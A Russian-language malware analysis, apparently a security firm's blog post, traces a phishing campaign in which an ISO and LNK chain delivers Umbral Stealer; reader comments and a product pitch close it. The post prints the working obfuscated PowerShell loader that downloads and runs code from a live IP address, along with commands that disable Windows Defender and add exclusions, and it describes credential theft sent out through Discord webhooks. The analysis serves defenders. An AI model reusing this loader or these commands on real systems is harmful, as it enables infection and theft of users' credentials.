Атакующие выбрали довольно тривиальный, но все еще очень эффективный способ доставки — фишинговые письма. Тем не менее в качестве вложения злоумышленники использовали не документы Microsoft Office, а ISO-файлы. Такой файл представляет собой образ оптического диска и после открытия пользователем монтируется как дополнительный в системе. Смонтированный диск содержит LNK-файл с именем «План Рейдеров.lnk», открытие которого и запустит процесс компрометации системы жертвы.
Сразу после открытия LNK-файла с помощью интерпретатора PowerShell осуществляется запуск файла MsMpEng.hta
с удаленного сервера:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe . $env:C:\W*\S*2\m*h?a.* 'http://46.175.149.13/MsMpEng.hta'
MsMpEng.hta
содержит VBS-скрипт, который расшифровывает массив путем вычитания из каждого элемента числа 60516, переводит этот массив в строку и вызывает ее как команду:
powershell.exe" -ExecutionPolicy UnRestricted function ebdB($aLfxOjmGdGEUS, $zAiPEkMOejCWTcFA){[IO.File]::WriteAllBytes($aLfxOjmGdGEUS, $zAiPEkMOejCWTcFA)};function
qxgMpLMjmzDowRlT($aLfxOjmGdGEUS){if($aLfxOjmGdGEUS.EndsWith((rdcviFZqRnwcdbvH @(74576,74630,74638,74638))) -eq $True){rundll32.exe $aLfxOjmGdGEUS
}elseif($aLfxOjmGdGEUS.EndsWith((rdcviFZqRnwcdbvH @(74576,74642,74645,74579))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File
$aLfxOjmGdGEUS}elseif($aLfxOjmGdGEUS.EndsWith((rdcviFZqRnwcdbvH @(74576,74639,74645,74635))) -eq $True){misexec /qn /i $aLfxOjmGdGEUS}else{Start-Process
$aLfxOjmGdGEUS}};function hFmIYHdonzcFhY($RNyieqzJRlYpvCPkF){$LEwHqecvjAoI = New-Object (rdcviFZqRnwcdbvH
@(74608,74631,74646,74576,74617,74631,74628,74597,74638,74635,74631,74640,74646));[Net.ServicePointManager]::SecurityProtocol =
[Net.SecurityProtocolType]::TLS12;$zAiPEkMOejCWTcFA = $LEwHqecvjAoI.DownloadData($RNyieqzJRlYpvCPkF);return $zAiPEkMOejCWTcFA};function rdcviFZqRnwcdbvH($jcTJtVjev)
{$wFHXnAkiLaZC=74530;$tRBkRaiWmupKBiJ=$Null;foreach($EgCggGKPy in $jcTJtVjev){$tRBkRaiWmupKBiJ+=[char]($EgCggGKPy-$wFHXnAkiLaZC)};return $tRBkRaiWmupKBiJ};function
pjDerNYZPF(){$qKSYbuAHIBPwW = $env:AppData + '\';$ANpF = $qKSYbuAHIBPwW + 'Oilio.bat'; if (Test-Path -Path $ANpF){qxgMpLMjmzDowRlT $ANpF;}Else{ $oOOiiotnzQliM = hFmIYHdonzcFhY
(rdcviFZqRnwcdbvH
@(74634,74646,74646,74642,74588,74577,74577,74582,74584,74576,74579,74585,74583,74576,74579,74582,74587,74576,74579,74581,74577,74609,74635,74638,74635,74641,74576,74628,74627,74646));ebdB $ANpF $oOOiiotnzQliM;qxgMpLMjmzDowRlT $ANpF;};;;;}pjDerNYZPF;
Эта команда загружает и запускает файл с удаленного сервера. Если файл имеет расширение .dll
, используется rundll32.exe
, если .ps1
, то powershell.exe
, если .msi
— msiexec.exe
. В остальных случаях файл запускается без использования дополнительных средств.
В данном случае с удаленного сервера загружается файл Oilio.bat
, который сохраняется в папку C:\Users%Имя_пользователя%\AppData\Roaming
.
Загруженный BAT-файл копирует powershell.exe
из C:\Windows\System32
в C:\Users%Имя_пользователя%\AppData\Roaming\Oilio.bat.exe
и добавляет его в исключения Windows Defender:
"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\%имя_пользователя%\AppData\Roaming\Oilio.bat.exe'
После этого запускает сценарий, который извлекает из Oilio.bat
строку base64, переводит ее в байты, расшифровывает их с помощью AES-256-CBC с ключом AA778CAE81AA8E082B9DC1B4C43D7170A89749703CE570C71028ABF2EAC4D7E3
и инициализирующим вектором 81C41ECFD66FEDE6888118B6CF1A4DF8
, после чего распаковывает полученные данные с помощью алгоритма GZip.
Полученный в результате .NET-файл проверяет, является ли среда виртуальной машиной VMware, VirtualBox, Hyper-V или QEMU, используя поля Manufacturer и Model из WMI-запроса Select * from Win32_ComputerSystem,
и подключен ли к процессу отладчик. Если среда не является виртуальной машиной и отладчик не подключен, продолжает работу. Далее из ресурсов PE извлекается ресурс payload.exe
, который расшифровывается AES-256-CBC с ключом 214E766E9025CDD3442F90E7C36E41A80A7B4DE93EACD4B17D10F083935EAD32
и IV 83E8EF88AFB1FD9168733393A3268AFE
и распаковывается при помощи алгоритма GZip.
Полученный файл представляет собой Umbral Stealer. Стилер может добавлять путь к своему телу в исключения, а также изменять настройки Windows Defender:
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
В случае если стилер запущен не с административными привилегиями, он предложит пользователю их предоставить.
Стилер может удалять себя следующей командой:
cmd.exe" /c ping localhost && del /F /A h [путь к телу файла]
Также стилер добавляет своему телу атрибуты «Скрытый» и «Системный»:
attrib.exe +h +s [путь к телу файла]
Для сбора информации о скомпрометированной системе используется WMI. Так, для получения уникального идентификатора системы используется следующая команда:
wmic csproduct get uuid
Для получения информации о видеоадаптере используется следующая команда:
wmic path win32_VideoController get name
Сбор информации о размере диска системы осуществляется следующим образом:
wmic computersystem get totalphysicalmemory
Данные о версии операционной системы стилер получает следующей командой:
wmic os get Caption
Данные о процессоре стилер получает из реестра при помощи PowerShell:
powershell.exe Get-ItemPropertyValue -Path 'HKLM:System\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name PROCESSOR_IDENTIFIER
Для получения информации о геолокации и об IP-адресе скомпрометированной системы стилер осуществляет запрос по следующему URL:
http://ip-api[.]com/json/?fields=225545
Чтобы закрепиться в скомпрометированной системе, стилер копирует себя в папку автозагрузки под произвольным именем с расширением .scr
.
Стилер позволяет атакующим извлечь аутентификационные данные из следующих приложений:
Brave,
Chrome,
Chromium,
Comodo,
Edge,
Epic Privacy,
Iridium,
Opera,
Opera GX,
Slimjet,
UR Browser,
Vivaldi,
Yandex,
Roblox,
Minecraft,
Discord.
Кроме того, стилер может создавать снимки с экрана, а также делать снимки с использованием веб-камеры.
Собранные данные сохраняются в архив с именем Umbral-{Environment.MachineName}.zip
и выгружаются с использованием Discord Webhooks.
Как защититься от таких угроз
Команда киберразведки BI.ZONE регулярно сталкивается с инцидентами, в которых преступники получают первоначальный доступ в корпоративную сеть через электронную почту. Мы рекомендуем уделять особое внимание этому каналу, применять для фильтрации нежелательных писем специализированные сервисы наподобие BI.ZONE CESP. Этот продукт инспектирует каждое электронное сообщение, используя более 600 механизмов фильтрации на основе машинного обучения, статистического, сигнатурного и эвристического анализа.
Кроме того, очень важно иметь возможность остановить кибератаку на любой ступени ее жизненного цикла. Для этого необходимо развивать процессы выявления, реагирования и предупреждения киберугроз. Одно из возможных решений — доверить эти задачи экспертам сервиса BI.ZONE TDR, которые используют комплекс технологий собственной разработки, данные threat intelligence от нашего управления киберразведки.
Комментарии (3)
mamontovss
05.06.2023 09:33Спасибо за статью, такой вопрос "Далее из ресурсов PE извлекается ресурс
payload.exe
, который расшифровывается AES-256-CBC с ключом214E766E9025CDD3442F90E7C36E41A80A7B4DE93EACD4B17D10F083935EAD32
и IV83E8EF88AFB1FD9168733393A3268AFE
и распаковывается при помощи алгоритма GZip. Полученный файл представляет собой Umbral Stealer." - не совсем понимаю, когда вредонос выполнил все действия по попаданию на целевую машину, в чем сложность для антивирусых решений данную угрозу обнаружить и заблокировать, ведь вренос уже расшифровал себя? Каким образом он может всё таки запуститься?4uneral
05.06.2023 09:33Привет! Не все антивирусные средства одинаково полезны, и многие до сих пор ими не пользуются)
Slonser
Мы попали в мир хакеров-зумеров. Стиллер крадет креды от Майнкрафта и посылает данные через вебхук дискорда...